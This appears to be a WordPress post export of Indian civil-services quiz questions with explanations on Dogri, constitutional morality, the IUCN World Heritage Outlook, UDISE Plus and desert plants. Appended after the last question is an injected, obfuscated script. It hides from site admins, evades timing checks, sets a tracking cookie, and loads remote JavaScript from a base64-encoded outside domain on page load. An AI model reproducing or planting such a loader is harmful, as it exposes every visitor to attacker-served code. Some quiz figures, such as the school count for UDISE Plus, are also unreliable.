wp-elements-114 wp-block-paragraph\">1. Dogri is a Western Pahari Indo-Aryan language spoken mainly in the Jammu region of Jammu &amp; Kashmir and neighbouring areas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">2. Dogri is one of the 22 scheduled languages of India which is included in the Eighth Schedule of the Constitution through the 71st Amendment Act.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>In NEWS: <\/strong>Is the Dogri language losing resonance in India?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Dogri language:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-125\">\n<li>Dogri is a Western Pahari Indo-Aryan language spoken mainly in the Jammu region of Jammu &amp; Kashmir and neighbouring areas.<strong> Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Constitutional status:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li>Included in the <strong>Eighth Schedule<\/strong> of the Constitution in <strong>2003<\/strong> via 92nd Amendment Act. Hence, one of the <strong>22 scheduled languages of India<\/strong>. <strong>&nbsp;Hence statement 2 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Cultural &amp; Linguistic Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-129\">\n<li>Represents the <strong>identity of the Dogra community<\/strong>.<\/li>\n\n\n\n<li>Rich <strong>oral literature<\/strong> \u2014 folk songs, bhajans, riddles, proverbs, and heroic ballads.<\/li>\n\n\n\n<li>Important works by poets like <strong>Padma Sachdev<\/strong>, <strong>Dinanath Nadim<\/strong>, and <strong>Narayan Dutt Shastri<\/strong>.<\/li>\n\n\n\n<li>Serves as a bridge between <strong>northern Hindi dialects<\/strong> and <strong>Pahari languages<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. The Constitution (71st Amendment) Act, 1992 amends the Eighth Schedule to the Constitution to include which of the following languages?<\/strong> <br><br>1. Konkani <br>2. Manipuri <br>3. Nepali <br>4. Maithilis <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br><strong>(a) 1, 2 and 3<\/strong> <br>(b) 1, 2 and 4 <br>(c) 1,3 and 4 <br>(d) 2.3 and 4<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/jammu-and-kashmir\/is-the-dogri-language-losing-resonance-in-india\/article70209891.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/jammu-and-kashmir\/is-the-dogri-language-losing-resonance-in-india\/article70209891.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>7. Which among the following abide to the core elements of Constitutional Morality?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">1. Supremacy of the Constitution and law over arbitrary actions<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">2. Protection of individual rights and equality before law<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">3. Promotes unity, tolerance, and respect for diversity<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">4. Powers of all organs are derived from and limited by the Constitution<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">5. Respect for roles and limitations of constitutional bodies<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">(a) 1, 2 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">(b) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">(c) 2 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(d) 1, 2, 3, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3, 4 and 5<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>In NEWS: <\/strong>The contours of constitutional morality<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Constitutional Morality:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-146\">\n<li>Constitutional morality refers to the <strong>adherence to the core principles, values, and spirit of the Constitution<\/strong> while exercising power and performing duties in public life.<\/li>\n\n\n\n<li>It requires that citizens and institutions act in harmony with constitutional ideals \u2014 such as <strong>liberty, equality, fraternity, and justice<\/strong> \u2014 even when they conflict with popular opinion or social norms.<\/li>\n\n\n\n<li>The term was first popularized by <strong>Dr. B.R. Ambedkar.<\/strong><\/li>\n\n\n\n<li>It implies <strong>governing according to the Constitution<\/strong>, not merely <strong>by law or majority will<\/strong>.<\/li>\n\n\n\n<li>It demands <strong>respect for the rule of law<\/strong>, <strong>protection of fundamental rights<\/strong>, <strong>independence of institutions<\/strong>, and <strong>checks and balances<\/strong>.<\/li>\n\n\n\n<li>It guides how <strong>State functionaries, legislature, and citizens<\/strong> should behave in a constitutional democracy.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Core Elements of Constitutional Morality:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>1. Rule of Law: <\/strong>Supremacy of the Constitution and law over arbitrary actions<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>2. Liberty &amp; Equality: <\/strong>Protection of individual rights and equality before law<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>3. Fraternity: <\/strong>Promotes unity, tolerance, and respect for diversity<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>4. Constitutional Supremacy: <\/strong>Powers of all organs are derived from and limited by the Constitution<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>5. Institutional Integrity: <\/strong>Respect for roles and limitations of constitutional bodies<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>6. Accountability &amp; Transparency: <\/strong>Ensuring democratic responsibility in governance<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>Hence all the statements are correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Which of the following provisions of the Constitution of India have a bearing on Education?<\/strong> <br><br>1. Directive Principles of State Policy <br>2. Rural and Urban Local Bodies <br>3. Fifth Schedule <br>4. Sixth Schedule <br>5. Seventh Schedule <br><br><strong>Select the correct answer using the codes given below:<\/strong> <br><br>(a) 1 and 2 only <br>(b) 3, 4 and 5 only <br>(c) 1, 2 and 5 only <br>(d) 1, 2, 3, 4 and 5<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/lead\/the-contours-of-constitutional-morality\/article70205715.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/lead\/the-contours-of-constitutional-morality\/article70205715.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>8. The World Heritage Outlook is released by:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">(a) UNEP<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">(b) UNDP<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">(c) UNESCO<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">(d) IUCN<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>Answer: (d) IUCN<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>In NEWS: <\/strong>Why has IUCN red-flagged the Western Ghats?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>World Heritage Outlook 4 Report (2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-165\">\n<li>The <strong>International Union for Conservation of Nature (IUCN)<\/strong> released its <strong>World Heritage Outlook 4 Report<\/strong> in 2025. <strong>Hence option (d) is correct.<\/strong><\/li>\n\n\n\n<li>It assesses the <strong>conservation status of over 200 natural and mixed World Heritage Sites<\/strong> across the world.<\/li>\n\n\n\n<li>The report classifies sites into four categories \u2014 <strong>\u201cGood\u201d, \u201cGood with some concerns\u201d, \u201cSignificant concern\u201d, and \u201cCritical\u201d<\/strong>.<\/li>\n\n\n\n<li>The <strong>percentage of sites with a positive conservation outlook<\/strong> has declined for the first time since 2014 \u2014 from <strong>63% (2014\u20132020)<\/strong> to <strong>57% (2025)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>India-specific Findings<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-167\">\n<li>The <strong>Western Ghats<\/strong>, <strong>Manas National Park (Assam)<\/strong>, and <strong>Sundarbans National Park (West Bengal)<\/strong> have been placed in the <strong>\u201cSignificant Concern\u201d<\/strong> category.<\/li>\n\n\n\n<li><strong>Khangchendzonga National Park (Sikkim)<\/strong> is rated as <strong>\u201cGood\u201d<\/strong>, while <strong>Kaziranga<\/strong>, <strong>Keoladeo<\/strong>, <strong>Nanda Devi &amp; Valley of Flowers<\/strong>, and <strong>Great Himalayan National Park<\/strong> are categorised as <strong>\u201cGood with Some Concerns.\u201d<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/why-has-iucn-red-flagged-the-western-ghats-explained\/article70178487.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/why-has-iucn-red-flagged-the-western-ghats-explained\/article70178487.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>9. The term \u2018UDISE Plus\u2019, recently seen in the news in the context of<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">(a) It is a comprehensive database for school education in India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\">(b) It provides skills that give employability to women<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\">(c) It bringing all pulse crops under crop insurance scheme with low premium<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">(d) It is a village which sustains its Open Defecation Free (ODF) status, ensures solid and liquid waste management and is visually clean<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>Answer: (a) It is a comprehensive database for school education in India<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>In NEWS: <\/strong>340 Tripura Schools with 6,492 Students Run by Single Teacher: UDISE+ 2024\u201325 Report<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>About UDISE Plus<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-178\">\n<li>Unified District Information System for Educatio<strong>n Plus (UDISE Plus) is one of the largest Management Information Systems initiated by Department of School Education and Literacy, Ministry of Education, on school edu<\/strong>cation and was launched in 2018-2019 to speed up data entry, reduce errors, improve data quality and ease its verification. <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>UDISE Plus is an application to collect the school details about factors related to a school and its resources.<\/li>\n\n\n\n<li>UDISE Plus is an updated and improved version of UDISE, which was initiated in 2012-13 by the Ministry of Education.<\/li>\n\n\n\n<li>UDISE Plus covers more than 49 million schools, more than 9.5 million teachers and more than 265 million children.<\/li>\n\n\n\n<li>It helps measure the education parameters from classes 1 to 12 in government and private schools across India.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/northeasttoday.in\/northeast\/340-tripura-schools-with-6492-students-run-by-single-teacher-udise-2024-25-report\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/northeasttoday.in\/northeast\/340-tripura-schools-with-6492-students-run-by-single-teacher-udise-2024-25-report\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\"><strong>10. Which of the following leaf modifications occur (s) in the desert areas to inhibit water loss?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\">1. Hard and waxy leaves<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\">2. Tiny leaves<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">3. Thorns instead of leaves<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\">(a) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\">(c) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\">In desert areas, plants modify their leaves to minimize water loss due to high temperature and low humidity:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-192\">\n<li><strong>Hard and waxy leaves<\/strong> reduce transpiration by forming a waterproof layer (cuticle).<\/li>\n\n\n\n<li><strong>Tiny leaves<\/strong> decrease the surface area for water loss.<\/li>\n\n\n\n<li><strong>Thorns instead of leaves<\/strong> (as in cacti) completely prevent transpiration through leaves.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\">Hence, <strong>all three<\/strong> modifications help in conserving water.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to the Special Intensive Revision (SIR), consider the following statements 1. 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